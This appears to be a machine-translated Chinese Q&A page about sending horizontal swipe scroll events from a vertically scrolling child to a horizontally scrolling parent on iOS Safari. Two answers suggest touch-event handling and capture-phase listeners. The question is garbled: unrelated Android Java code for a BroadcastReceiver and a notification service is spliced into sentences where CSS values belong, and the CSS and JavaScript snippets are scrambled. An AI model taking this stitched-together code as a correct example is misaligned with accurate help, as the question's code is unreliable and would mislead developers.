我有两个元素，父节点和子节点。子项只能垂直滚动（generateNotification()）。父级只能水平滚动（ public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent service1 = new Intent(context,MyRemiderService.class);
context.startService(service1);
}
}
）。当我在子节点上横向滑动时，尽管如此，仍然不会触发滚动事件：
public class MyRemiderService extends Service {
private NotificationManager mManager;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
@Deprecated
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
mManager = (NotificationManager) getApplicationContext()
.getSystemService(getApplicationContext().NOTIFICATION_SERVICE);
Notification.Builder builder = new Notification.Builder(MyRemiderService.this);
Intent intent1 = new Intent(this.getApplicationContext(),
HomeActivity.class);
Notification notification = new Notification(R.drawable.notification_template_icon_bg,
"This is a test message!", System.currentTimeMillis());
intent1.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
PendingIntent pendingNotificationIntent = PendingIntent.getActivity(
this.getApplicationContext(), 0, intent1,
PendingIntent.FLAG_UPDATE_CURRENT);
builder.setSmallIcon(R.drawable.abc_ic_ab_back_mtrl_am_alpha)
.setContentTitle("ContentTitle").setContentText("this for test massage")
.setContentIntent(pendingNotificationIntent);
notification = builder.getNotification();
notification.flags |= Notification.FLAG_AUTO_CANCEL;
/* notification.setLatestEventInfo(this.getApplicationContext(),
"AlarmManagerDemo", "This is a test message!",
pendingNotificationIntent);*/
mManager.notify(0, notification);
}
@Override
public void onDestroy() {
super.onDestroy();
}
}

还是 overflow: hidden; overflow-y: scroll;都没有被调用过！如果子元素只有一个方向滚动，如何让它为父元素触发水平滚动？
小提琴移动示例：https://jsfiddle.net/cn2hfLok/2/embedded/result/
HTML：
overflow: hidden; overflow-x: scroll;CSS：
//NEITHER of these are fired when swiping sideways on the child
child.addEventListener( "scroll", listener, true );
parent.addEventListener( "scroll", listener2, true );
JavaScript的：
listener 编辑：即使在孩子身上显示listener2，如果没有任何内容可以横向滚动，仍然也不会触发滚动事件！ { {3}}
答案 0 :(得分：2)
如果孩子没有向您尝试移动的方向滚动或者没有听取该方向，则无法在iOS Safari上为父母捕获滚动事件。为了解决这个问题，你需要听一下孩子的触摸事件，然后通过改变父母的scrollLeft或scrollTop来激活孩子的父母身份。滚动事件处理程序。
听取：
touchstart 捕捉起始位置
touchmove 检查开始时的当前位置，如果它水平移动（并且垂直位置不够），然后通过parent.scrollLeft += startX - e.clientX;传递给父级，然后调用e.stopPropagation();e.preventDefault();，这样它就不会移动页。 （同时将startX更新为e.clientX）
touchend和touchleave 设置一些变量告诉你的touchmove处理程序停止收听，例如notDragging = true;
答案 1 :(得分：0)
我认为你应该朝着以下方向前进：
启用处理程序的捕获阶段：document.querySelector( ".parent" ).addEventListener( "scroll", scrollP, true );
在父回调中停止传播：e.stopPropagation();
在这种情况下，父母的听众将拦截所有事件，包括horizontal scroll。但实际上你可以通过event.type和一堆其他可访问的属性来过滤它们。
